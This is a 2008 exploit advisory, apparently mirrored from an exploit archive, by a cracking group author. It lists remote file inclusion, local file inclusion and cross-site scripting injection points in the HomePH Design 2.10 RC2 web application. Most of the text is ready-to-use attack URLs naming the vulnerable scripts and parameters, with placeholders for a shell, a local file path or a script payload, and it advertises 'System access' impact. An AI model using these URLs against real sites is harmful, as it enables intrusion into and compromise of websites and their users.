HomePH Design 2.10 RC2 (RFI/LFI/XSS) Multiple Vulnerabilities

2008-06-22T00:00:00
ID 1337DAY-ID-3263
Type zdt
Reporter CraCkEr
Modified 2008-06-22T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =============================================================
HomePH Design 2.10 RC2 (RFI/LFI/XSS) Multiple Vulnerabilities
=============================================================



?-----------------------------------------------------------------------------¬
¦¦                             C r a C k E r                                --
--          T H E   C R A C K   O F   E T E R N A L   M I G H T             ¦¦
L-----------------------------------------------------------------------------

 -----      From The Ashes and Dust Rises An Unimaginable crack....      ----¬
-----------------------------------------------------------------------------¬
--       [ Remote File Include ]   [ Local File Include ]   [XSS]           --
L-----------------------------------------------------------------------------
:   Author   : CraCkEr                : :                                    :
¦   Group    : uNiTeD CraCkiNg ForCE  ¦ ¦                                    ¦
¦   Script   : HomePH Design 2.10 RC2 ¦ ¦         Register Globals :         ¦
¦   Download : SourceForge.net        ¦ ¦                                    ¦
¦   Method   : GET                    ¦ ¦          [-] ON   [ ] OFF          ¦
¦   Critical : High [--------]        ¦ ¦                                    ¦
¦   Impact   : System access          ¦ ¦                                    ¦
¦ ------------------------------------- L----------------------------------- ¦
¦                              DALnet #crackers                             --
L-----------------------------------------------------------------------------
:                                                                            :
¦  Release Notes:                                                            ¦
¦  =============                                                             ¦
¦  Typically used for remotely exploitable vulnerabilities that can lead to  ¦
¦  system compromise.                                                        ¦
¦                                                                            ¦

-----------------------------------------------------------------------------¬
--                             Exploit URL's                                --
L-----------------------------------------------------------------------------
  

[RFI]

http://localhost/path/admin/templates/template_thumbnail.php?thumb_template=[SHELL]

[LFI]

http://localhost/path/admin/templates/template_thumbnail.php?thumb_template=[LFI]
http://localhost/path/admin/features/account/account.php?language=[LFI]
http://localhost/path/admin/features/downloads/downloads.php?language=[LFI]
http://localhost/path/admin/features/forum/forum.php?language=[LFI]
http://localhost/path/admin/features/fotogalerie/delete.php?language=[LFI]
http://localhost/path/admin/features/fotogalerie/fotogalerie.php?language=[LFI]

[XSS]

http://localhost/path/admin/features/register/register.php?error_meldung=[XSS]
http://localhost/path/admin/features/memberlist/memberlist.php?feature_language[ueberschrift]=[XSS]
http://localhost/path/admin/features/lostpassword/lostpassword.php?language_array[ueberschrift]=[XSS]
http://localhost/path/admin/features/kalender/eingabe.php?language_feature[titel]=[XSS]
http://localhost/path/admin/features/fotogalerie/eingabe.php?language_feature[bildmenu]=[XSS]

   Notes: More files are infected.
   =====

L-----------------------------------------------------------------------------
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

-----------------------------------------------------------------------------¬
--                              © CraCkEr 2008                              --
L-----------------------------------------------------------------------------



#  0day.today [2018-01-17]  #